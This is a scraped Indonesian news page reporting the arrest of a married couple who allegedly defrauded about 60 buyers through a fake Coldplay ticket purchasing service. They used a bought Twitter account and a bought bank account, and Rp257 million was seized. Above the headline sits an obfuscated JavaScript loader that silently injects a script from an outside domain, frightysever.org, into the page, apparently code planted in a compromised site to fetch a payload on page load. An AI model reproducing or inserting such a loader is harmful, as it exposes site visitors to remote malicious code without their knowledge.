(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Modal 1 Tiket Asli, 60 Korban Tertipu Pasutri Jual Tiket Konser Coldplay


KANALKALIMANTAN.COM, JAKARTA – Polda Metro Jaya menangkap pasangan suami istri (Pasutri) berinisial ABF (22) dan W (24) terkait kasus penipuan modus jasa penitipan atau jastip tiket konser Coldplay.

Uang senilai Rp257 juta yang diduga hasil kejahatan penipuan ini disita dari tabungan tersangka sebagai barang bukti.

Direktur Reserse Kriminal Khusus (Direskrimsus) Polda Metro Jaya Kombes Pol Auliansyah Lubis menyebut, sepasang suami istri atau pasutri berinisial ABF (22) dan W (24) melakukan aksi penipuan modus jastip  tiket Coldplay lewat akun Twitter @findtrove_id. Bermodal satu tiket asli keduanya berhasil menipu korban dengan keuntungan mencapai ratusan juta.

“Kami men-tracing yang ada di tabungan mereka (tersangka) sebesar Rp257 juta,” ungkap Kombes Aulia di Polda Metro Jaya, Jakarta, Senin (22/5/2023), dikutip dari Suara.com –jaringan mitra Kanalkalimantan.com.

Baca juga: Penganiaya Kakek di Kelurahan Jawa Berhasil Dibekuk Polisi di Mataraman

Akun Twitter @findtrove_id, lanjut Aulia, dibeli oleh tersangka dari seseorang seharga Rp750 ribu. Mereka sengaja membeli akun dengan jumlah pengikut atau followers banyak tersebut untuk menyakinkan korban.

“Korban yang melapor ke kita kurang lebih 60 orang,” jelas Aulia.

Selain membeli akun Twitter, kedua tersangka juga membeli rekening tabungan seharga Rp400 ribu. Tujuannya membeli rekening tabungan atas nama orang lain ini agar praktik kejahatannya tak terendus.

Adapun, dalam melaksanakan aksi penipuan ini tersangka ABF dan W awalnya meminta korban mentransfer uang senilai Rp50 ribu sebagai jaminan.

Setelah itu, mereka meminta korban mentransfer kembali uang pembelian tiket yang telah disepakati dengan meyakini seolah-oleh tiket tersebut telah didapat.

Baca juga: Turun di 10 Cabor POPDA 2023, Kontingen Banjarbaru Berkekuatan 184 Orang

“Kalau dalam satu jam gak menyetor sejumlah harga tiket maka Rp 50 ribu akan hilang,” ujar Aulia.

Atas perbuatanya, ABF dan W kekinian ditahan di Rutan Polda Metro Jaya.

Mereka dijerat dengan Pasal 28 Ayat (1) Juncto Pasal 45A Qyat (1) Undang-Undang Nomor 19 Tahun 2016 Informasi dan Transaksi Elektronik (ITE) dan atau Pasal 378 KUHP dan atau Pasal 372 KUHP dan atau Pasal 3, Pasal 4, Pasal 5 Undang-Undang Nomor 8 Tahun 2010 tentang Pencegahan dan Pemberantasan Tindak Pidana Pencucian Uang (TPPU). (Suara.com)

Editor: kk


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.